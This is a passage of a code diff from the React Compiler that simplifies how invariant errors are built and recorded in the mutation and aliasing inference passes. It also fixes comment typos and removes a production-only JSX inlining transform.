||||
{
|
||||
kind: 'error',
|
||||
loc: effect.into.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: effect.into.loc,
|
||||
});
|
||||
initialized.add(effect.into.identifier.id);
|
||||
|
||||
@@ -916,13 +870,7 @@ function applyEffect(
|
||||
description:
|
||||
`Destination ${printPlace(effect.into)} is not initialized in this ` +
|
||||
`instruction for effect ${printAliasingEffect(effect)}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: effect.into.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: effect.into.loc,
|
||||
},
|
||||
);
|
||||
/*
|
||||
@@ -1000,13 +948,7 @@ function applyEffect(
|
||||
CompilerError.invariant(!initialized.has(effect.into.identifier.id), {
|
||||
reason: `Cannot re-initialize variable within an instruction`,
|
||||
description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: effect.into.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: effect.into.loc,
|
||||
});
|
||||
initialized.add(effect.into.identifier.id);
|
||||
|
||||
@@ -1373,7 +1315,7 @@ class InferenceState {
|
||||
#values: Map<InstructionValue, AbstractValue>;
|
||||
/*
|
||||
* The set of values pointed to by each identifier. This is a set
|
||||
* to accomodate phi points (where a variable may have different
|
||||
* to accommodate phi points (where a variable may have different
|
||||
* values from different control flow paths).
|
||||
*/
|
||||
#variables: Map<IdentifierId, Set<InstructionValue>>;
|
||||
@@ -1406,15 +1348,7 @@ class InferenceState {
|
||||
CompilerError.invariant(value.kind !== 'LoadLocal', {
|
||||
reason:
|
||||
'[InferMutationAliasingEffects] Expected all top-level identifiers to be defined as variables, not values',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: value.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: value.loc,
|
||||
});
|
||||
this.#values.set(value, kind);
|
||||
}
|
||||
@@ -1424,14 +1358,8 @@ class InferenceState {
|
||||
CompilerError.invariant(values != null, {
|
||||
reason: `[InferMutationAliasingEffects] Expected value kind to be initialized`,
|
||||
description: `${printPlace(place)}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: place.loc,
|
||||
message: 'this is uninitialized',
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
message: 'this is uninitialized',
|
||||
loc: place.loc,
|
||||
});
|
||||
return Array.from(values);
|
||||
}
|
||||
@@ -1442,14 +1370,8 @@ class InferenceState {
|
||||
CompilerError.invariant(values != null, {
|
||||
reason: `[InferMutationAliasingEffects] Expected value kind to be initialized`,
|
||||
description: `${printPlace(place)}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: place.loc,
|
||||
message: 'this is uninitialized',
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
message: 'this is uninitialized',
|
||||
loc: place.loc,
|
||||
});
|
||||
let mergedKind: AbstractValue | null = null;
|
||||
for (const value of values) {
|
||||
@@ -1460,14 +1382,7 @@ class InferenceState {
|
||||
CompilerError.invariant(mergedKind !== null, {
|
||||
reason: `[InferMutationAliasingEffects] Expected at least one value`,
|
||||
description: `No value found at \`${printPlace(place)}\``,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: place.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: place.loc,
|
||||
});
|
||||
return mergedKind;
|
||||
}
|
||||
@@ -1478,14 +1393,8 @@ class InferenceState {
|
||||
CompilerError.invariant(values != null, {
|
||||
reason: `[InferMutationAliasingEffects] Expected value for identifier to be initialized`,
|
||||
description: `${printIdentifier(value.identifier)}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: value.loc,
|
||||
message: 'Expected value for identifier to be initialized',
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
message: 'Expected value for identifier to be initialized',
|
||||
loc: value.loc,
|
||||
});
|
||||
this.#variables.set(place.identifier.id, new Set(values));
|
||||
}
|
||||
@@ -1495,14 +1404,8 @@ class InferenceState {
|
||||
CompilerError.invariant(values != null, {
|
||||
reason: `[InferMutationAliasingEffects] Expected value for identifier to be initialized`,
|
||||
description: `${printIdentifier(value.identifier)}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: value.loc,
|
||||
message: 'Expected value for identifier to be initialized',
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
message: 'Expected value for identifier to be initialized',
|
||||
loc: value.loc,
|
||||
});
|
||||
const prevValues = this.values(place);
|
||||
this.#variables.set(
|
||||
@@ -1516,14 +1419,7 @@ class InferenceState {
|
||||
CompilerError.invariant(this.#values.has(value), {
|
||||
reason: `[InferMutationAliasingEffects] Expected value to be initialized`,
|
||||
description: printInstructionValue(value),
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: value.loc,
|
||||
message: 'Expected value for identifier to be initialized',
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: value.loc,
|
||||
});
|
||||
this.#variables.set(place.identifier.id, new Set([value]));
|
||||
}
|
||||
@@ -2963,15 +2859,7 @@ export function isKnownMutableEffect(effect: Effect): boolean {
|
||||
case Effect.Unknown: {
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Unexpected unknown effect',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
case Effect.Read:
|
||||
@@ -3079,13 +2967,7 @@ function mergeValueKinds(a: ValueKind, b: ValueKind): ValueKind {
|
||||
{
|
||||
reason: `Unexpected value kind in mergeValues()`,
|
||||
description: `Found kinds ${a} and ${b}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
},
|
||||
);
|
||||
return ValueKind.Primitive;
|
||||
|
||||
@@ -20,13 +20,14 @@ import {
|
||||
Place,
|
||||
isPrimitiveType,
|
||||
} from '../HIR/HIR';
|
||||
import {Environment} from '../HIR/Environment';
|
||||
import {
|
||||
eachInstructionLValue,
|
||||
eachInstructionValueOperand,
|
||||
eachTerminalOperand,
|
||||
} from '../HIR/visitors';
|
||||
import {assertExhaustive, getOrInsertWith} from '../Utils/utils';
|
||||
import {Err, Ok, Result} from '../Utils/Result';
|
||||
|
||||
import {AliasingEffect, MutationReason} from './AliasingEffects';
|
||||
|
||||
/**
|
||||
@@ -74,7 +75,7 @@ import {AliasingEffect, MutationReason} from './AliasingEffects';
|
||||
export function inferMutationAliasingRanges(
|
||||
fn: HIRFunction,
|
||||
{isFunctionExpression}: {isFunctionExpression: boolean},
|
||||
): Result<Array<AliasingEffect>, CompilerError> {
|
||||
): Array<AliasingEffect> {
|
||||
// The set of externally-visible effects
|
||||
const functionEffects: Array<AliasingEffect> = [];
|
||||
|
||||
@@ -107,7 +108,7 @@ export function inferMutationAliasingRanges(
|
||||
|
||||
let index = 0;
|
||||
|
||||
const errors = new CompilerError();
|
||||
const shouldRecordErrors = !isFunctionExpression && fn.env.enableValidations;
|
||||
|
||||
for (const param of [...fn.params, ...fn.context, fn.returns]) {
|
||||
const place = param.kind === 'Identifier' ? param : param.place;
|
||||
@@ -200,7 +201,9 @@ export function inferMutationAliasingRanges(
|
||||
effect.kind === 'MutateGlobal' ||
|
||||
effect.kind === 'Impure'
|
||||
) {
|
||||
errors.pushDiagnostic(effect.error);
|
||||
if (shouldRecordErrors) {
|
||||
fn.env.recordError(effect.error);
|
||||
}
|
||||
functionEffects.push(effect);
|
||||
} else if (effect.kind === 'Render') {
|
||||
renders.push({index: index++, place: effect.place});
|
||||
@@ -229,14 +232,7 @@ export function inferMutationAliasingRanges(
|
||||
} else {
|
||||
CompilerError.invariant(effect.kind === 'Freeze', {
|
||||
reason: `Unexpected '${effect.kind}' effect for MaybeThrow terminal`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: block.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: block.terminal.loc,
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -252,11 +248,15 @@ export function inferMutationAliasingRanges(
|
||||
mutation.kind,
|
||||
mutation.place.loc,
|
||||
mutation.reason,
|
||||
errors,
|
||||
shouldRecordErrors ? fn.env : null,
|
||||
);
|
||||
}
|
||||
for (const render of renders) {
|
||||
state.render(render.index, render.place.identifier, errors);
|
||||
state.render(
|
||||
render.index,
|
||||
render.place.identifier,
|
||||
shouldRecordErrors ? fn.env : null,
|
||||
);
|
||||
}
|
||||
for (const param of [...fn.context, ...fn.params]) {
|
||||
const place = param.kind === 'Identifier' ? param : param.place;
|
||||
@@ -385,14 +385,7 @@ export function inferMutationAliasingRanges(
|
||||
case 'Apply': {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `[AnalyzeFunctions] Expected Apply effects to be replaced with more precise effects`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: effect.function.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: effect.function.loc,
|
||||
});
|
||||
}
|
||||
case 'MutateTransitive':
|
||||
@@ -512,7 +505,6 @@ export function inferMutationAliasingRanges(
|
||||
* would be transitively mutated needs a capture relationship.
|
||||
*/
|
||||
const tracked: Array<Place> = [];
|
||||
const ignoredErrors = new CompilerError();
|
||||
for (const param of [...fn.params, ...fn.context, fn.returns]) {
|
||||
const place = param.kind === 'Identifier' ? param : param.place;
|
||||
tracked.push(place);
|
||||
@@ -527,7 +519,7 @@ export function inferMutationAliasingRanges(
|
||||
MutationKind.Conditional,
|
||||
into.loc,
|
||||
null,
|
||||
ignoredErrors,
|
||||
null,
|
||||
);
|
||||
for (const from of tracked) {
|
||||
if (
|
||||
@@ -539,14 +531,7 @@ export function inferMutationAliasingRanges(
|
||||
const fromNode = state.nodes.get(from.identifier);
|
||||
CompilerError.invariant(fromNode != null, {
|
||||
reason: `Expected a node to exist for all parameters and context variables`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: into.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: into.loc,
|
||||
});
|
||||
if (fromNode.lastMutated === mutationIndex) {
|
||||
if (into.identifier.id === fn.returns.identifier.id) {
|
||||
@@ -568,19 +553,17 @@ export function inferMutationAliasingRanges(
|
||||
}
|
||||
}
|
||||
|
||||
if (errors.hasAnyErrors() && !isFunctionExpression) {
|
||||
return Err(errors);
|
||||
}
|
||||
return Ok(functionEffects);
|
||||
return functionEffects;
|
||||
}
|
||||
|
||||
function appendFunctionErrors(errors: CompilerError, fn: HIRFunction): void {
|
||||
function appendFunctionErrors(env: Environment | null, fn: HIRFunction): void {
|
||||
if (env == null) return;
|
||||
for (const effect of fn.aliasingEffects ?? []) {
|
||||
switch (effect.kind) {
|
||||
case 'Impure':
|
||||
case 'MutateFrozen':
|
||||
case 'MutateGlobal': {
|
||||
errors.pushDiagnostic(effect.error);
|
||||
env.recordError(effect.error);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -681,7 +664,7 @@ class AliasingState {
|
||||
}
|
||||
}
|
||||
|
||||
render(index: number, start: Identifier, errors: CompilerError): void {
|
||||
render(index: number, start: Identifier, env: Environment | null): void {
|
||||
const seen = new Set<Identifier>();
|
||||
const queue: Array<Identifier> = [start];
|
||||
while (queue.length !== 0) {
|
||||
@@ -695,7 +678,7 @@ class AliasingState {
|
||||
continue;
|
||||
}
|
||||
if (node.value.kind === 'Function') {
|
||||
appendFunctionErrors(errors, node.value.function);
|
||||
appendFunctionErrors(env, node.value.function);
|
||||
}
|
||||
for (const [alias, when] of node.createdFrom) {
|
||||
if (when >= index) {
|
||||
@@ -727,7 +710,7 @@ class AliasingState {
|
||||
startKind: MutationKind,
|
||||
loc: SourceLocation,
|
||||
reason: MutationReason | null,
|
||||
errors: CompilerError,
|
||||
env: Environment | null,
|
||||
): void {
|
||||
const seen = new Map<Identifier, MutationKind>();
|
||||
const queue: Array<{
|
||||
@@ -759,7 +742,7 @@ class AliasingState {
|
||||
node.transitive == null &&
|
||||
node.local == null
|
||||
) {
|
||||
appendFunctionErrors(errors, node.value.function);
|
||||
appendFunctionErrors(env, node.value.function);
|
||||
}
|
||||
if (transitive) {
|
||||
if (node.transitive == null || node.transitive.kind < kind) {
|
||||
|
||||
@@ -310,15 +310,7 @@ export function inferReactivePlaces(fn: HIRFunction): void {
|
||||
case Effect.Unknown: {
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Unexpected unknown effect',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: operand.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: operand.loc,
|
||||
});
|
||||
}
|
||||
default: {
|
||||
|
||||
@@ -24,7 +24,7 @@ The goal of mutability and aliasing inference is to understand the set of instru
|
||||
|
||||
In code, the mutability and aliasing model is compromised of the following phases:
|
||||
|
||||
* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errros) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
|
||||
* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errors) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.
|
||||
* `InferMutationAliasingRanges`. Infers a mutable range (start:end instruction ids) for each value in the program, and annotates each Place with its effect type for usage in later passes. This builds a graph of data flow through the program over time in order to understand which mutations effect which values.
|
||||
* `InferReactiveScopeVariables`. Given the per-Place effects, determines disjoint sets of values that mutate together and assigns all identifiers in each set to a unique scope, and updates the range to include the ranges of all constituent values.
|
||||
|
||||
@@ -69,7 +69,7 @@ Describes the creation of new function value, capturing the given set of mutable
|
||||
kind: 'Apply';
|
||||
receiver: Place;
|
||||
function: Place; // same as receiver for function calls
|
||||
mutatesFunction: boolean; // indicates if this is a type that we consdier to mutate the function itself by default
|
||||
mutatesFunction: boolean; // indicates if this is a type that we consider to mutate the function itself by default
|
||||
args: Array<Place | SpreadPattern | Hole>;
|
||||
into: Place; // where result is stored
|
||||
signature: FunctionSignature | null;
|
||||
@@ -526,7 +526,7 @@ Capture c <- a
|
||||
|
||||
Intuition: these effects are inverses of each other (capturing into an object, extracting from an object). The result is based on the order of operations:
|
||||
|
||||
Capture then CreatFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
|
||||
Capture then CreateFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.
|
||||
|
||||
```js
|
||||
const b = [a]; // capture
|
||||
|
||||
@@ -9,4 +9,3 @@ export {default as analyseFunctions} from './AnalyseFunctions';
|
||||
export {dropManualMemoization} from './DropManualMemoization';
|
||||
export {inferReactivePlaces} from './InferReactivePlaces';
|
||||
export {inlineImmediatelyInvokedFunctionExpressions} from './InlineImmediatelyInvokedFunctionExpressions';
|
||||
export {inferEffectDependencies} from './InferEffectDependencies';
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
import {isValidIdentifier} from '@babel/types';
|
||||
import {CompilerError} from '../CompilerError';
|
||||
import {
|
||||
GeneratedSource,
|
||||
GotoVariant,
|
||||
HIRFunction,
|
||||
IdentifierId,
|
||||
@@ -191,15 +192,7 @@ function evaluatePhi(phi: Phi, constants: Constants): Constant | null {
|
||||
case 'Primitive': {
|
||||
CompilerError.invariant(value.kind === 'Primitive', {
|
||||
reason: 'value kind expected to be Primitive',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
|
||||
// different constant values, can't constant propogate
|
||||
@@ -211,15 +204,7 @@ function evaluatePhi(phi: Phi, constants: Constants): Constant | null {
|
||||
case 'LoadGlobal': {
|
||||
CompilerError.invariant(value.kind === 'LoadGlobal', {
|
||||
reason: 'value kind expected to be LoadGlobal',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
|
||||
// different global values, can't constant propogate
|
||||
|
||||
@@ -1,797 +0,0 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import {
|
||||
BasicBlock,
|
||||
BlockId,
|
||||
BuiltinTag,
|
||||
DeclarationId,
|
||||
Effect,
|
||||
forkTemporaryIdentifier,
|
||||
GotoTerminal,
|
||||
GotoVariant,
|
||||
HIRFunction,
|
||||
Identifier,
|
||||
IfTerminal,
|
||||
Instruction,
|
||||
InstructionKind,
|
||||
JsxAttribute,
|
||||
makeInstructionId,
|
||||
makePropertyLiteral,
|
||||
ObjectProperty,
|
||||
Phi,
|
||||
Place,
|
||||
promoteTemporary,
|
||||
SpreadPattern,
|
||||
} from '../HIR';
|
||||
import {
|
||||
createTemporaryPlace,
|
||||
fixScopeAndIdentifierRanges,
|
||||
markInstructionIds,
|
||||
markPredecessors,
|
||||
reversePostorderBlocks,
|
||||
} from '../HIR/HIRBuilder';
|
||||
import {CompilerError, EnvironmentConfig} from '..';
|
||||
import {
|
||||
mapInstructionLValues,
|
||||
mapInstructionOperands,
|
||||
mapInstructionValueOperands,
|
||||
mapTerminalOperands,
|
||||
} from '../HIR/visitors';
|
||||
import {ErrorCategory} from '../CompilerError';
|
||||
|
||||
type InlinedJsxDeclarationMap = Map<
|
||||
DeclarationId,
|
||||
{identifier: Identifier; blockIdsToIgnore: Set<BlockId>}
|
||||
>;
|
||||
|
||||
/**
|
||||
* A prod-only, RN optimization to replace JSX with inlined ReactElement object literals
|
||||
*
|
||||
* Example:
|
||||
* <>foo</>
|
||||
* _______________
|
||||
* let t1;
|
||||
* if (__DEV__) {
|
||||
* t1 = <>foo</>
|
||||
* } else {
|
||||
* t1 = {...}
|
||||
* }
|
||||
*
|
||||
*/
|
||||
export function inlineJsxTransform(
|
||||
fn: HIRFunction,
|
||||
inlineJsxTransformConfig: NonNullable<
|
||||
EnvironmentConfig['inlineJsxTransform']
|
||||
>,
|
||||
): void {
|
||||
const inlinedJsxDeclarations: InlinedJsxDeclarationMap = new Map();
|
||||
/**
|
||||
* Step 1: Codegen the conditional and ReactElement object literal
|
||||
*/
|
||||
for (const [_, currentBlock] of [...fn.body.blocks]) {
|
||||
let fallthroughBlockInstructions: Array<Instruction> | null = null;
|
||||
const instructionCount = currentBlock.instructions.length;
|
||||
for (let i = 0; i < instructionCount; i++) {
|
||||
const instr = currentBlock.instructions[i]!;
|
||||
// TODO: Support value blocks
|
||||
if (currentBlock.kind === 'value') {
|
||||
fn.env.logger?.logEvent(fn.env.filename, {
|
||||
kind: 'CompileDiagnostic',
|
||||
fnLoc: null,
|
||||
detail: {
|
||||
category: ErrorCategory.Todo,
|
||||
reason: 'JSX Inlining is not supported on value blocks',
|
||||
loc: instr.loc,
|
||||
},
|
||||
});
|
||||
continue;
|
||||
}
|
||||
switch (instr.value.kind) {
|
||||
case 'JsxExpression':
|
||||
case 'JsxFragment': {
|
||||
/**
|
||||
* Split into blocks for new IfTerminal:
|
||||
* current, then, else, fallthrough
|
||||
*/
|
||||
const currentBlockInstructions = currentBlock.instructions.slice(
|
||||
0,
|
||||
i,
|
||||
);
|
||||
const thenBlockInstructions = currentBlock.instructions.slice(
|
||||
i,
|
||||
i + 1,
|
||||
);
|
||||
const elseBlockInstructions: Array<Instruction> = [];
|
||||
fallthroughBlockInstructions ??= currentBlock.instructions.slice(
|
||||
i + 1,
|
||||
);
|
||||
|
||||
const fallthroughBlockId = fn.env.nextBlockId;
|
||||
const fallthroughBlock: BasicBlock = {
|
||||
kind: currentBlock.kind,
|
||||
id: fallthroughBlockId,
|
||||
instructions: fallthroughBlockInstructions,
|
||||
terminal: currentBlock.terminal,
|
||||
preds: new Set(),
|
||||
phis: new Set(),
|
||||
};
|
||||
|
||||
/**
|
||||
* Complete current block
|
||||
* - Add instruction for variable declaration
|
||||
* - Add instruction for LoadGlobal used by conditional
|
||||
* - End block with a new IfTerminal
|
||||
*/
|
||||
const varPlace = createTemporaryPlace(fn.env, instr.value.loc);
|
||||
promoteTemporary(varPlace.identifier);
|
||||
const varLValuePlace = createTemporaryPlace(fn.env, instr.value.loc);
|
||||
const thenVarPlace = {
|
||||
...varPlace,
|
||||
identifier: forkTemporaryIdentifier(
|
||||
fn.env.nextIdentifierId,
|
||||
varPlace.identifier,
|
||||
),
|
||||
};
|
||||
const elseVarPlace = {
|
||||
...varPlace,
|
||||
identifier: forkTemporaryIdentifier(
|
||||
fn.env.nextIdentifierId,
|
||||
varPlace.identifier,
|
||||
),
|
||||
};
|
||||
const varInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...varLValuePlace},
|
||||
value: {
|
||||
kind: 'DeclareLocal',
|
||||
lvalue: {place: {...varPlace}, kind: InstructionKind.Let},
|
||||
type: null,
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
currentBlockInstructions.push(varInstruction);
|
||||
|
||||
const devGlobalPlace = createTemporaryPlace(fn.env, instr.value.loc);
|
||||
const devGlobalInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...devGlobalPlace, effect: Effect.Mutate},
|
||||
value: {
|
||||
kind: 'LoadGlobal',
|
||||
binding: {
|
||||
kind: 'Global',
|
||||
name: inlineJsxTransformConfig.globalDevVar,
|
||||
},
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
currentBlockInstructions.push(devGlobalInstruction);
|
||||
const thenBlockId = fn.env.nextBlockId;
|
||||
const elseBlockId = fn.env.nextBlockId;
|
||||
const ifTerminal: IfTerminal = {
|
||||
kind: 'if',
|
||||
test: {...devGlobalPlace, effect: Effect.Read},
|
||||
consequent: thenBlockId,
|
||||
alternate: elseBlockId,
|
||||
fallthrough: fallthroughBlockId,
|
||||
loc: instr.loc,
|
||||
id: makeInstructionId(0),
|
||||
};
|
||||
currentBlock.instructions = currentBlockInstructions;
|
||||
currentBlock.terminal = ifTerminal;
|
||||
|
||||
/**
|
||||
* Set up then block where we put the original JSX return
|
||||
*/
|
||||
const thenBlock: BasicBlock = {
|
||||
id: thenBlockId,
|
||||
instructions: thenBlockInstructions,
|
||||
kind: 'block',
|
||||
phis: new Set(),
|
||||
preds: new Set(),
|
||||
terminal: {
|
||||
kind: 'goto',
|
||||
block: fallthroughBlockId,
|
||||
variant: GotoVariant.Break,
|
||||
id: makeInstructionId(0),
|
||||
loc: instr.loc,
|
||||
},
|
||||
};
|
||||
fn.body.blocks.set(thenBlockId, thenBlock);
|
||||
|
||||
const resassignElsePlace = createTemporaryPlace(
|
||||
fn.env,
|
||||
instr.value.loc,
|
||||
);
|
||||
const reassignElseInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...resassignElsePlace},
|
||||
value: {
|
||||
kind: 'StoreLocal',
|
||||
lvalue: {
|
||||
place: elseVarPlace,
|
||||
kind: InstructionKind.Reassign,
|
||||
},
|
||||
value: {...instr.lvalue},
|
||||
type: null,
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
thenBlockInstructions.push(reassignElseInstruction);
|
||||
|
||||
/**
|
||||
* Set up else block where we add new codegen
|
||||
*/
|
||||
const elseBlockTerminal: GotoTerminal = {
|
||||
kind: 'goto',
|
||||
block: fallthroughBlockId,
|
||||
variant: GotoVariant.Break,
|
||||
id: makeInstructionId(0),
|
||||
loc: instr.loc,
|
||||
};
|
||||
const elseBlock: BasicBlock = {
|
||||
id: elseBlockId,
|
||||
instructions: elseBlockInstructions,
|
||||
kind: 'block',
|
||||
phis: new Set(),
|
||||
preds: new Set(),
|
||||
terminal: elseBlockTerminal,
|
||||
};
|
||||
fn.body.blocks.set(elseBlockId, elseBlock);
|
||||
|
||||
/**
|
||||
* ReactElement object literal codegen
|
||||
*/
|
||||
const {refProperty, keyProperty, propsProperty} =
|
||||
createPropsProperties(
|
||||
fn,
|
||||
instr,
|
||||
elseBlockInstructions,
|
||||
instr.value.kind === 'JsxExpression' ? instr.value.props : [],
|
||||
instr.value.children,
|
||||
);
|
||||
const reactElementInstructionPlace = createTemporaryPlace(
|
||||
fn.env,
|
||||
instr.value.loc,
|
||||
);
|
||||
const reactElementInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...reactElementInstructionPlace, effect: Effect.Store},
|
||||
value: {
|
||||
kind: 'ObjectExpression',
|
||||
properties: [
|
||||
createSymbolProperty(
|
||||
fn,
|
||||
instr,
|
||||
elseBlockInstructions,
|
||||
'$$typeof',
|
||||
inlineJsxTransformConfig.elementSymbol,
|
||||
),
|
||||
instr.value.kind === 'JsxExpression'
|
||||
? createTagProperty(
|
||||
fn,
|
||||
instr,
|
||||
elseBlockInstructions,
|
||||
instr.value.tag,
|
||||
)
|
||||
: createSymbolProperty(
|
||||
fn,
|
||||
instr,
|
||||
elseBlockInstructions,
|
||||
'type',
|
||||
'react.fragment',
|
||||
),
|
||||
refProperty,
|
||||
keyProperty,
|
||||
propsProperty,
|
||||
],
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
elseBlockInstructions.push(reactElementInstruction);
|
||||
|
||||
const reassignConditionalInstruction: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
lvalue: {...createTemporaryPlace(fn.env, instr.value.loc)},
|
||||
value: {
|
||||
kind: 'StoreLocal',
|
||||
lvalue: {
|
||||
place: {...elseVarPlace},
|
||||
kind: InstructionKind.Reassign,
|
||||
},
|
||||
value: {...reactElementInstruction.lvalue},
|
||||
type: null,
|
||||
loc: instr.value.loc,
|
||||
},
|
||||
effects: null,
|
||||
loc: instr.loc,
|
||||
};
|
||||
elseBlockInstructions.push(reassignConditionalInstruction);
|
||||
|
||||
/**
|
||||
* Create phis to reassign the var
|
||||
*/
|
||||
const operands: Map<BlockId, Place> = new Map();
|
||||
operands.set(thenBlockId, {
|
||||
...elseVarPlace,
|
||||
});
|
||||
operands.set(elseBlockId, {
|
||||
...thenVarPlace,
|
||||
});
|
||||
|
||||
const phiIdentifier = forkTemporaryIdentifier(
|
||||
fn.env.nextIdentifierId,
|
||||
varPlace.identifier,
|
||||
);
|
||||
const phiPlace = {
|
||||
...createTemporaryPlace(fn.env, instr.value.loc),
|
||||
identifier: phiIdentifier,
|
||||
};
|
||||
const phis: Set<Phi> = new Set([
|
||||
{
|
||||
kind: 'Phi',
|
||||
operands,
|
||||
place: phiPlace,
|
||||
},
|
||||
]);
|
||||
fallthroughBlock.phis = phis;
|
||||
fn.body.blocks.set(fallthroughBlockId, fallthroughBlock);
|
||||
|
||||
/**
|
||||
* Track this JSX instruction so we can replace references in step 2
|
||||
*/
|
||||
inlinedJsxDeclarations.set(instr.lvalue.identifier.declarationId, {
|
||||
identifier: phiIdentifier,
|
||||
blockIdsToIgnore: new Set([thenBlockId, elseBlockId]),
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 'FunctionExpression':
|
||||
case 'ObjectMethod': {
|
||||
inlineJsxTransform(
|
||||
instr.value.loweredFunc.func,
|
||||
inlineJsxTransformConfig,
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Step 2: Replace declarations with new phi values
|
||||
*/
|
||||
for (const [blockId, block] of fn.body.blocks) {
|
||||
for (const instr of block.instructions) {
|
||||
mapInstructionOperands(instr, place =>
|
||||
handlePlace(place, blockId, inlinedJsxDeclarations),
|
||||
);
|
||||
|
||||
mapInstructionLValues(instr, lvalue =>
|
||||
handlelValue(lvalue, blockId, inlinedJsxDeclarations),
|
||||
);
|
||||
|
||||
mapInstructionValueOperands(instr.value, place =>
|
||||
handlePlace(place, blockId, inlinedJsxDeclarations),
|
||||
);
|
||||
}
|
||||
|
||||
mapTerminalOperands(block.terminal, place =>
|
||||
handlePlace(place, blockId, inlinedJsxDeclarations),
|
||||
);
|
||||
|
||||
if (block.terminal.kind === 'scope') {
|
||||
const scope = block.terminal.scope;
|
||||
for (const dep of scope.dependencies) {
|
||||
dep.identifier = handleIdentifier(
|
||||
dep.identifier,
|
||||
inlinedJsxDeclarations,
|
||||
);
|
||||
}
|
||||
|
||||
for (const [origId, decl] of [...scope.declarations]) {
|
||||
const newDecl = handleIdentifier(
|
||||
decl.identifier,
|
||||
inlinedJsxDeclarations,
|
||||
);
|
||||
if (newDecl.id !== origId) {
|
||||
scope.declarations.delete(origId);
|
||||
scope.declarations.set(decl.identifier.id, {
|
||||
identifier: newDecl,
|
||||
scope: decl.scope,
|
||||
});
|
||||
}
|
||||
}
